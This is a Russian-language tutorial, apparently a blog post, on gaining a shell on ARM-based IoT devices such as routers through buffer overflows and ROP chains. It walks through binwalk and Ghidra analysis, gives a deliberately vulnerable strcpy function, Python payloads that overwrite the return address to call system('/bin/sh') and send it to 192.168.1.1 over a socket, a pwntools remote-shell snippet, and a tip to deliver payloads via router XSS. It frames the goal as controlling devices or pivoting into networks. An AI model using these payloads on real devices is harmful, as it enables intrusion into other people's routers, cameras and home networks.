73
Большинство IoT-устройств (роутеры, камеры, умные колонки) работают на архитектуре ARM. В 2025 году многие из них всё ещё не используют ASLR (Address Space Layout Randomization), что делает адреса памяти предсказуемыми. Это идеальная мишень для бинарных эксплойтов, особенно через ROP (Return-Oriented Programming) и переполнение буфера.
Цель атаки: Получить шелл на устройстве, чтобы управлять им или использовать как точку входа в сеть.
🛠️ Шаг 1: Дизассемблирование через Ghidra
Ghidra — мощный и бесплатный инструмент для реверс-инжиниринга. Он отлично справляется с ARM-байнкодами, которые часто встречаются в прошивках роутеров.
Как начать:
binwalk
для распаковки:
1 |
binwalk -Me firmware.bin |
CodeBrowser
, ищем функции вроде strcpy
или gets
, которые могут быть уязвимы для переполнения буфера.ROPgadget
(устанавливается отдельно):
1 |
ROPgadget --binary firmware.elf --only "pop|ret" |
Лайфхак: Если Ghidra не может корректно разобрать код, вручную установите базовый адрес памяти (обычно 0x8000000
для ARM IoT).
💣 Шаг 2: Переполнение буфера в C
Переполнение буфера — классика бинарных эксплойтов. Без ASLR адреса в памяти статичны, что позволяет нам перезаписать адрес возврата (return address) на стеке.
Пример уязвимого кода (типичный для IoT):
1 2 3 4 5 |
void process_input(char *input) { char buffer[32]; strcpy(buffer, input); // Нет проверки длины! printf("You entered: %s\n", buffer); } |
Как эксплуатировать:
ret
) на стеке через Ghidra или отладчик gdb
.ret
:
buffer
.Пример payload (Python):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import struct # Адрес гаджета "pop {r0, pc}" (найден в Ghidra) pop_r0_pc = 0x8001234 # Адрес функции system() (если есть) или другой цели system_addr = 0x8005678 # Адрес строки "/bin/sh" в памяти (если есть) bin_sh_addr = 0x800abcd # Переполняем буфер + перезаписываем ret payload = b"A" * 32 # Заполняем буфер payload += struct.pack("<I", pop_r0_pc) # Управляем r0 и pc payload += struct.pack("<I", bin_sh_addr) # r0 = "/bin/sh" payload += struct.pack("<I", system_addr) # pc = system() # Отправляем на устройство (например, через netcat) import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.1", 12345)) # IP и порт уязвимого сервиса s.send(payload) |
Результат: Если всё сработало, устройство вызывает system("/bin/sh")
, и вы получаете шелл.
🧠 Шаг 3: ROP-цепочки на ARM
Если прямой вызов system()
невозможен (например, нет удобного адреса /bin/sh
), строим ROP-цепь. ROP позволяет “сшить” короткие куски кода (гаджеты), заканчивающиеся на ret
, чтобы выполнить нужные действия.
Пример ROP-цепи:
Цель — загрузить в r0
адрес команды, затем вызвать system()
.
pop {r0, pc}
(загружает значение в r0
и прыгает по адресу из стека).system()
(через Ghidra).pop {r0, pc}
."/bin/sh"
или нашей команды).system()
.Payload для ROP (Python):
1 2 3 4 5 6 |
payload = b"A" * 32 # Переполняем буфер payload += struct.pack("<I", pop_r0_pc) # pop {r0, pc} payload += struct.pack("<I", bin_sh_addr) # r0 = "/bin/sh" payload += struct.pack("<I", system_addr) # pc = system() # Отправка как выше |
Лайфхак: Если system()
отсутствует, можно собрать цепочку для вызова execve()
или записать шеллкод в память через серию mov
и str
инструкций. Это сложнее, но реально на ARM.
⚡ Инструменты и автоматизация
gdb-multiarch
и gef
(GDB Enhanced Features).
1 2 |
qemu-arm -g 1234 ./binary gdb-multiarch -ex "target remote localhost:1234" |
PwnTools (Python):
1 2 3 4 5 |
from pwn import * context.arch = 'arm' io = remote('192.168.1.1', 12345) io.send(payload) io.interactive() |
r0
, r1
, pc
).🛡️ Почему IoT так уязвимы в 2025?
libc
без современных защит (NX, Canary).Обход защит:
🔥 Итоги и реальный кейс
Лайфхак напоследок: Если нет прямого доступа к устройству, используйте XSS в веб-интерфейсе роутера для отправки payload на внутренний порт. IoT-устройства часто доверяют локальным запросам.